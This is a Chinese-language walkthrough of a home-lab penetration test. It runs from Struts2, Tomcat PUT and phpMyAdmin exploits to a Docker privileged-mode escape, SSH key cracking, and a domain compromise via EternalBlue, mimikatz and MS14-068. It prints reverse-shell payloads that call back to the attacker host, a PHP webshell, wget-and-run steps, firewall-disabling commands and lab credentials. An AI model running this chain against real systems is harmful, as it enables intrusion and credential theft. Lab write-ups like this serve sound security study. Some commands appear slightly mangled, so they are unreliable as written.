机器密码
- ubuntu:ubuntu
- douser:Dotest123
- administrator:Test2008 -> Harvey@2022
配置 web 192.168.205.130 192.168.150.132 win7 192.168.205.128 DC 192.168.205.131 kali攻击机 192.168.150.128
准备工作
将web靶机和kali攻击机的网络适配器设为NAT;将web、win7、DC靶机的网络适配器设为自定义(VMnet1)
然后web靶机启动环境
代码语言:javascript复制sudo docker start ec 17 09 bb da 3d ab ad
信息收集
扫描一下存活主机和端口,发现开放了22、2001、2002、2003端口
其中2001端口存在Struts2中间件
2002端口存在Apache Tomcat中间件
2003端口存在Apache、PHPmyadmin、mysql,不需要密码就可以进入phpmyadmin后台
漏洞利用
这三个都可以漏洞利用实现getshell
首先通过Struts2漏洞检查工具进行检测和利用
接着利用漏洞上传msf马
代码语言:javascript复制# 生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f jsp > shell.jsp
msf启动监听
代码语言:javascript复制use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.150.128
exploit
访问马
然后是Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
接着是phpmyadmin 4.8.1 远程文件包含漏洞
代码语言:javascript复制/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
代码语言:javascript复制# 插入一句话木马
select '<?php file_put_contents("shell.php", "<?php @eval($_POST[1]);?>");?>';
# 命令go后F12查看phpMyAdmin的value值
/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_31894eca7b1c7143dad90cd068b167a1
docker逃逸
由于不是完整的shell,这里我们使用pyhton中的pty模块反弹一个完整的shell环境
代码语言:javascript复制python -c 'import pty; pty.spawn("/bin/bash")'
进入后进行信息收集
判断是否为docker环境
代码语言:javascript复制# 查看.dockerenv 文件,查询系统进程的cgroup信息
# 判断根目录下是否存在 .dockerenv 文件
ls -alh /.dockerenv
# 查看系统的cgroup系统,看是否有docker字样
cat /proc/1/cgroup
发现为docker环境,于是想到docker逃逸
先尝试一下利用dirty cow来进行docker逃逸,这种利用方法利用成功的前提是宿主机的内核有dirty cow漏洞
代码语言:javascript复制git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make
在目标主机上无法进行make编译,所以我们只能在攻击机kali上编译之后再起个web服务
反弹shell到指定主机的指定端口,但是利用失败了,说明不存在dirtycow漏洞
代码语言:javascript复制wget http://192.168.150.128/0xdeadbeef
chmod x 0xdeadbeef
./0xdeadbeef 192.168.150.128 4444
于是换个方式进行docker逃逸,利用特权模式进行逃逸
管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限
代码语言:javascript复制# 查看磁盘文件(Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用)
fdisk -l
# 创建一个文件夹,将宿主机根目录挂载至容器目录下
cd /test
mkdir /test
mount /dev/sda1 /test
代码语言:javascript复制# 将id_rsa复制下来
cd home/ubuntu/.ssh
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2
OnKLlXLp VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx AAhoK Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i hqwk1MNukZKp 2 48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse 268 qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh 1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj uSM50okPGN 9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt T
55txs6Plcys GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm ZWOR P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj rLq3IqLi4anxVZ15EK xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR sdUX
m/FXcuyargJYyJ0ChyIb 1RnmcLIedxX/m8Nmy FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g 3RX1HvmXP PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----
代码语言:javascript复制vim id_rsa
# 将其复制进来保存退出
/usr/share/john/ssh2john.py /root/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.150.132
切换为root
通过msf生成shell马并起个web服务
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.133 LPORT=4444 -f elf > shell1.elf
python -m http.server 80
上传至ubuntu并运行
代码语言:javascript复制wget http://192.168.150.133/shell1.elf
chmod 777 shell1.elf
./shell1.elf
msf启动监听
代码语言:javascript复制use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.150.133
run
内网渗透
信息收集一下基本确定205是内网段了
接着上传fscan
代码语言:javascript复制wget http://192.168.150.133/fscan
chmod x fscan
./fscan -h 192.168.205.0/24
关键信息如下
代码语言:javascript复制# 如果没打MS14-068的补丁就可以打一下
192.168.205.131:88 open
[*] WebTitle: http://192.168.205.1 code:200 len:2307 title:站点创建成功-phpstudy for windows
[*] NetBios: 192.168.205.131 [ ]DC WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1
[ ] 192.168.205.128 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
[ ] 192.168.205.131 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
接着通过frp建立代理
代码语言:javascript复制wget http://192.168.150.133/frp.tar.gz
tar -zxvf frp.tar.gz
chmod x frp_0.45.0_linux_amd64
cd frp_0.45.0_linux_amd64
vim frpc.ini
# 修改如下
[common]
server_addr = 192.168.150.133
server_port = 7000
[socks_proxy]
type = tcp
remote_port = 8989
plugin = socks5
# 运行
./frpc -c ./frpc.ini &
代码语言:javascript复制./frps -c ./frps.ini
curl一下进行测试
接着就可以通过msf使用永恒之蓝进行攻击了
代码语言:javascript复制setg proxies socks5:127.0.0.1:12345
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.205.128
run
这里可能需要等待一会
用猕猴桃抓一下这台win7的密码,得到密码:Dotest123
然后可以进shell查看一些信息
sid需要我们先登录到域用户,迁移到域权限的一个进程上去
从而得到sid:S-1-5-21-979886063-1111900045-1414766810-1107
接着通过注册表开启3389,我们通过远程桌面来打MS14-068
代码语言:javascript复制REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
但是这里我们直接登录是不行的
于是我们需要先把它换成工作组,但是需要重启比较麻烦,这里就直接通过修改管理员密码并激活
代码语言:javascript复制net user administrator Admin1234
net user administrator /active:yes
不过远程桌面可能也会有些小问题
接着修改一下dns,然后ping一下demo.com
然后就可以通过工具直接打
代码语言:javascript复制# 生成票据:MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.205.131
再通过猕猴桃进行导入
代码语言:javascript复制mimikatz.exe
# ptc导入前面生成的文件
kerberos::ptc TGT_douser@demo.com.ccache
# 得到票据
kerberos::list
exit
接着再访问一下域控,并尝试访问它的C盘
代码语言:javascript复制klist
net view
dir \WIN-ENS2VR5TR3NC$
然后用psexec64来获取目标的shell
代码语言:javascript复制PsExec64.exe /accepteula /s \WIN-ENS2VR5TR3N cmd
根据前面fscan扫到的可以再来打一下永恒之蓝
但是失败了,猜测开有防火墙,于是用下面这个命令关闭防火墙
代码语言:javascript复制netsh advfirewall set allprofiles state off
最后就可以成功打进去了